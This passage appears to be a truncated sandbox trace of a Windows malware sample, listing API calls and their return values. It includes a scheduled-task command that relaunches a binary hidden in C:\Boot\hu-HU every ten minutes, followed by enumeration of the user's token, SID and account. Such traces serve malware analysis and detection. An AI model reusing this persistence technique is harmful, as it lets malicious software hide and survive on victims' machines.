\"'C:\\Boot\\hu-HU\\bitkinex.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"bitkinexb\" /sc MINUTE /mo 10 /tr \"'C:\\Boot\\hu-HU\\bitkinex.exe'\" /f", lpProcessInformation=0xebcdc0*(hProcess=0x2fc, hThread=0x248, dwProcessId=0xf0c, dwThreadId=0xf10)) returned 1 [0061.462] CloseHandle (hObject=0x2fc) returned 1 [0061.462] CloseHandle (hObject=0x248) returned 1 [0061.462] free (_Block=0xef040) [0061.462] DestroyEnvironmentBlock () returned 0x1 [0061.462] malloc (_Size=0x48) returned 0xed270 [0061.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4dc56fa0, dwHighDateTime=0x1d9eb0c)) [0061.462] SetEvent (hEvent=0x1f0) returned 1 [0061.462] CloseHandle (hObject=0x2d4) returned 1 [0061.462] CloseHandle (hObject=0x2e0) returned 1 [0061.548] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0061.548] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0061.548] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0061.829] SetLastError (dwErrCode=0x0) [0061.829] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0061.829] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0061.829] SetLastError (dwErrCode=0x0) [0061.829] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0061.829] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0061.829] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0061.829] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f530 [0061.829] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f530, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0061.829] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f530 | out: hHeap=0x2e0000) returned 1 [0061.858] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0061.858] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0061.859] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0061.859] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0061.859] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0061.859] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0061.859] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0061.861] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0061.861] GetCurrentThread () returned 0xfffffffffffffffe [0061.861] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x2e0) returned 1 [0061.862] malloc (_Size=0xd8) returned 0xf4740 [0061.862] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0061.862] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0061.863] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0061.863] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0061.863] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0061.863] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0061.863] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0061.863] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0061.863] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0061.864] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0061.864] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0061.864] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0061.864] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0061.864] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0061.864] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0061.864] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0061.865] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0061.865] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0061.865] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0061.865] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0061.865] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0061.865] malloc (_Size=0x18) returned 0xef040 [0061.865] DuplicateTokenEx (in: hExistingToken=0x2e0, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x2d4) returned 1 [0061.865] malloc (_Size=0x48) returned 0xed2c0 [0061.865] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4e035360, dwHighDateTime=0x1d9eb0c)) [0061.866] SetEvent (hEvent=0x1f0) returned 1 [0061.870] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0061.870] GetLastError () returned 0x7a [0061.870] malloc (_Size=0x2c) returned 0xee200 [0061.870] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0061.870] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0061.870] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0061.870] malloc (_Size=0x1c) returned 0xeff30 [0061.870] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0061.870] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0061.870] malloc (_Size=0x18) returned 0xeef60 [0061.870] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0061.871] malloc (_Size=0x18) returned 0xeef00 [0061.871] malloc (_Size=0x18) returned 0xef0a0 [0061.871] SysStringLen (param_1="S-1-") returned 0x4 [0061.871] SysStringLen (param_1="5") returned 0x1 [0061.871] memcpy (in: _Dst=0x35eae8, _Src=0x35ec68, _Size=0xa | out: _Dst=0x35eae8) returned 0x35eae8 [0061.871] memcpy (in: _Dst=0x35eaf0, _Src=0x35e908, _Size=0x4 | out: _Dst=0x35eaf0) returned 0x35eaf0 [0061.871] free (_Block=0xeef60) [0061.871] free (_Block=0xeef00) [0061.871] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0061.871] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0061.871] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0061.871] malloc (_Size=0x18) returned 0xeef00 [0061.871] malloc (_Size=0x18) returned 0xeef60 [0061.871] SysStringLen (param_1="S-1-5") returned 0x5 [0061.871] SysStringLen (param_1="-") returned 0x1 [0061.871] memcpy (in: _Dst=0x35e908, _Src=0x35eae8, _Size=0xc | out: _Dst=0x35e908) returned 0x35e908 [0061.871] memcpy (in: _Dst=0x35e912, _Src=0x35ec68, _Size=0x4 | out: _Dst=0x35e912) returned 0x35e912 [0061.871] free (_Block=0xef0a0) [0061.871] free (_Block=0xeef00) [0061.871] malloc (_Size=0x18) returned 0xeef00 [0061.871] malloc (_Size=0x18) returned 0xef0a0 [0061.871] SysStringLen (param_1="S-1-5-") returned 0x6 [0061.871] SysStringLen (param_1="21") returned 0x2 [0061.872] memcpy (in: _Dst=0x35ec68, _Src=0x35e908, _Size=0xe | out: _Dst=0x35ec68) returned 0x35ec68 [0061.872] memcpy (in: _Dst=0x35ec74, _Src=0x35eae8, _Size=0x6 | out: _Dst=0x35ec74) returned 0x35ec74 [0061.872] free (_Block=0xeef60) [0061.872] free (_Block=0xeef00) [0061.872] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0061.872] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0061.872] malloc (_Size=0x18) returned 0xeef00 [0061.872] malloc (_Size=0x18) returned 0xeef60 [0061.872] SysStringLen (param_1="S-1-5-21") returned 0x8 [0061.872] SysStringLen (param_1="-") returned 0x1 [0061.872] memcpy (in: _Dst=0x35eae8, _Src=0x35ec68, _Size=0x12 | out: _Dst=0x35eae8) returned 0x35eae8 [0061.872] memcpy (in: _Dst=0x35eaf8, _Src=0x35e908, _Size=0x4 | out: _Dst=0x35eaf8) returned 0x35eaf8 [0061.872] free (_Block=0xef0a0) [0061.872] free (_Block=0xeef00) [0061.872] malloc (_Size=0x18) returned 0xeef00 [0061.872] malloc (_Size=0x18) returned 0xef0a0 [0061.872] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0061.872] SysStringLen (param_1="4219442223") returned 0xa [0061.872] memcpy (in: _Dst=0x338368, _Src=0x35eae8, _Size=0x14 | out: _Dst=0x338368) returned 0x338368 [0061.872] memcpy (in: _Dst=0x33837a, _Src=0x35ec68, _Size=0x16 | out: _Dst=0x33837a) returned 0x33837a [0061.872] free (_Block=0xeef60) [0061.872] free (_Block=0xeef00) [0061.872] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0061.873] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0061.873] malloc (_Size=0x18) returned 0xeef00 [0061.873] malloc (_Size=0x18) returned 0xeef60 [0061.873] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0061.873] SysStringLen (param_1="-") returned 0x1 [0061.873] memcpy (in: _Dst=0x3382c8, _Src=0x338368, _Size=0x28 | out: _Dst=0x3382c8) returned 0x3382c8 [0061.873] memcpy (in: _Dst=0x3382ee, _Src=0x35eae8, _Size=0x4 | out: _Dst=0x3382ee) returned 0x3382ee [0061.873] free (_Block=0xef0a0) [0061.873] free (_Block=0xeef00) [0061.873] malloc (_Size=0x18) returned 0xeef00 [0061.873] malloc (_Size=0x18) returned 0xef0a0 [0061.873] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0061.873] SysStringLen (param_1="4223814209") returned 0xa [0061.873] memcpy (in: _Dst=0x34d958, _Src=0x3382c8, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0061.873] memcpy (in: _Dst=0x34d980, _Src=0x35eae8, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0061.873] free (_Block=0xeef60) [0061.873] free (_Block=0xeef00) [0061.873] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0061.873] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0061.873] malloc (_Size=0x18) returned 0xeef00 [0061.873] malloc (_Size=0x18) returned 0xeef60 [0061.873] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0061.873] SysStringLen (param_1="-") returned 0x1 [0061.873] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x3e | out: _Dst=0x327668) returned 0x327668 [0061.873] memcpy (in: _Dst=0x3276a4, _Src=0x35eae8, _Size=0x4 | out: _Dst=0x3276a4) returned 0x3276a4 [0061.874] free (_Block=0xef0a0) [0061.874] free (_Block=0xeef00) [0061.874] malloc (_Size=0x18) returned 0xeef00 [0061.874] malloc (_Size=0x18) returned 0xef0a0 [0061.874] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0061.874] SysStringLen (param_1="3835049652") returned 0xa [0061.874] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0061.874] memcpy (in: _Dst=0x34d996, _Src=0x35eae8, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0061.874] free (_Block=0xeef60) [0061.874] free (_Block=0xeef00) [0061.874] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0061.874] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0061.874] malloc (_Size=0x18) returned 0xeef00 [0061.874] malloc (_Size=0x18) returned 0xeef60 [0061.874] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0061.874] SysStringLen (param_1="-") returned 0x1 [0061.874] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x54 | out: _Dst=0x327668) returned 0x327668 [0061.874] memcpy (in: _Dst=0x3276ba, _Src=0x35eae8, _Size=0x4 | out: _Dst=0x3276ba) returned 0x3276ba [0061.874] free (_Block=0xef0a0) [0061.874] free (_Block=0xeef00) [0061.874] malloc (_Size=0x18) returned 0xeef00 [0061.874] malloc (_Size=0x18) returned 0xef0a0 [0061.874] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0061.874] SysStringLen (param_1="1000") returned 0x4 [0061.875] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0061.875] memcpy (in: _Dst=0x34d9ac, _Src=0x35eae8, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0061.875] free (_Block=0xeef60) [0061.875] free (_Block=0xeef00) [0061.875] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0061.875] malloc (_Size=0x5e) returned 0xf0800 [0061.875] free (_Block=0xef0a0) [0061.875] malloc (_Size=0x18) returned 0xef0a0 [0061.876] free (_Block=0xf0800) [0061.876] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0061.877] GetLastError () returned 0x7a [0061.877] malloc (_Size=0x14) returned 0xeef00 [0061.877] malloc (_Size=0x16) returned 0xeef60 [0061.877] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef00, cchName=0xebcca4, ReferencedDomainName=0xeef60, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0061.877] malloc (_Size=0x18) returned 0xef020 [0061.877] malloc (_Size=0x18) returned 0xeef20 [0061.882] free (_Block=0xeef00) [0061.882] free (_Block=0xeef60) [0061.882] free (_Block=0xeff30) [0061.882] free (_Block=0xeef20) [0061.882] free (_Block=0xef020) [0061.882] free (_Block=0xef0a0) [0061.883] free (_Block=0xee200) [0061.883] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0061.883] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0061.883] GetLastError () returned 0x7a [0061.883] malloc (_Size=0x2c) returned 0xee240 [0061.883] GetTokenInformation (in: TokenHandle=0x2e0, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0061.883] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0061.883] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0061.883] malloc (_Size=0x1c) returned 0xeff30 [0061.883] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0061.883] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0061.883] malloc (_Size=0x18) returned 0xef0a0 [0061.884] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0061.884] malloc (_Size=0x18) returned 0xef020 [0061.884] malloc (_Size=0x18) returned 0xeef20 [0061.884] SysStringLen (param_1="S-1-") returned 0x4 [0061.884] SysStringLen (param_1="5") returned 0x1 [0061.884] memcpy (in: _Dst=0x35ec68, _Src=0x35e908, _Size=0xa | out: _Dst=0x35ec68) returned 0x35ec68 [0061.884] memcpy (in: _Dst=0x35ec70, _Src=0x35eae8, _Size=0x4 | out: _Dst=0x35ec70) returned 0x35ec70 [0061.884] free (_Block=0xef0a0) [0061.884] free (_Block=0xef020) [0061.884] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0061.884] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0061.884] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0061.884] malloc (_Size=0x18) returned 0xef020 [0061.884] malloc (_Size=0x18) returned 0xef0a0 [0061.884] SysStringLen (param_1="S-1-5") returned 0x5 [0061.884] SysStringLen (param_1="-") returned 0x1 [0061.884] memcpy (in: _Dst=0x35eae8, _Src=0x35ec68, _Size=0xc | out: _Dst=0x35eae8) returned 0x35eae8 [0061.884] memcpy (in: _Dst=0x35eaf2, _Src=0x35e908, _Size=0x4 | out: _Dst=0x35eaf2) returned 0x35eaf2 [0061.884] free (_Block=0xeef20) [0061.884] free (_Block=0xef020) [0061.884] malloc (_Size=0x18) returned 0xef020 [0061.884] malloc (_Size=0x18) returned 0xeef20 [0061.884] SysStringLen (param_1="S-1-5-") returned 0x6 [0061.884] SysStringLen (param_1="21") returned 0x2 [0061.885] memcpy (in: _Dst=0x35e908, _Src=0x35eae8, _Size=0xe | out: _Dst=0x35e908) returned 0x35e908 [0061.885] memcpy (in: _Dst=0x35e914, _Src=0x35ec68, _Size=0x6 | out: _Dst=0x35e914) returned 0x35e914 [0061.885] free (_Block=0xef0a0) [0061.885] free (_Block=0xef020) [0061.885] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0061.885] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0061.885] malloc (_Size=0x18) returned 0xef020 [0061.885] malloc (_Size=0x18) returned 0xef0a0 [0061.885] SysStringLen (param_1="S-1-5-21") returned 0x8 [0061.885] SysStringLen (param_1="-") returned 0x1 [0061.885] memcpy (in: _Dst=0x35ec68, _Src=0x35e908, _Size=0x12 | out: _Dst=0x35ec68) returned 0x35ec68 [0061.885] memcpy (in: _Dst=0x35ec78, _Src=0x35eae8, _Size=0x4 | out: _Dst=0x35ec78) returned 0x35ec78 [0061.885] free (_Block=0xeef20) [0061.885] free (_Block=0xef020) [0061.885] malloc (_Size=0x18) returned 0xef020 [0061.885] malloc (_Size=0x18) returned 0xeef20 [0061.885] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0061.885] SysStringLen (param_1="4219442223") returned 0xa [0061.885] memcpy (in: _Dst=0x338368, _Src=0x35ec68, _Size=0x14 | out: _Dst=0x338368) returned 0x338368 [0061.885] memcpy (in: _Dst=0x33837a, _Src=0x35e908, _Size=0x16 | out: _Dst=0x33837a) returned 0x33837a [0061.885] free (_Block=0xef0a0) [0061.885] free (_Block=0xef020) [0061.885] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0061.885] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0061.886] malloc (_Size=0x18) returned 0xef020 [0061.886] malloc (_Size=0x18) returned 0xef0a0 [0061.886] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0061.886] SysStringLen (param_1="-") returned 0x1 [0061.886] memcpy (in: _Dst=0x3382c8, _Src=0x338368, _Size=0x28 | out: _Dst=0x3382c8) returned 0x3382c8 [0061.886] memcpy (in: _Dst=0x3382ee, _Src=0x35ec68, _Size=0x4 | out: _Dst=0x3382ee) returned 0x3382ee [0061.886] free (_Block=0xeef20) [0061.886] free (_Block=0xef020) [0061.886] malloc (_Size=0x18) returned 0xef020 [0061.886] malloc (_Size=0x18) returned 0xeef20 [0061.886] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0061.886] SysStringLen (param_1="4223814209") returned 0xa [0061.886] memcpy (in: _Dst=0x327668, _Src=0x3382c8, _Size=0x2a | out: _Dst=0x327668) returned 0x327668 [0061.886] memcpy (in: _Dst=0x327690, _Src=0x35ec68, _Size=0x16 | out: _Dst=0x327690) returned 0x327690 [0061.886] free (_Block=0xef0a0) [0061.886] free (_Block=0xef020) [0061.886] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, 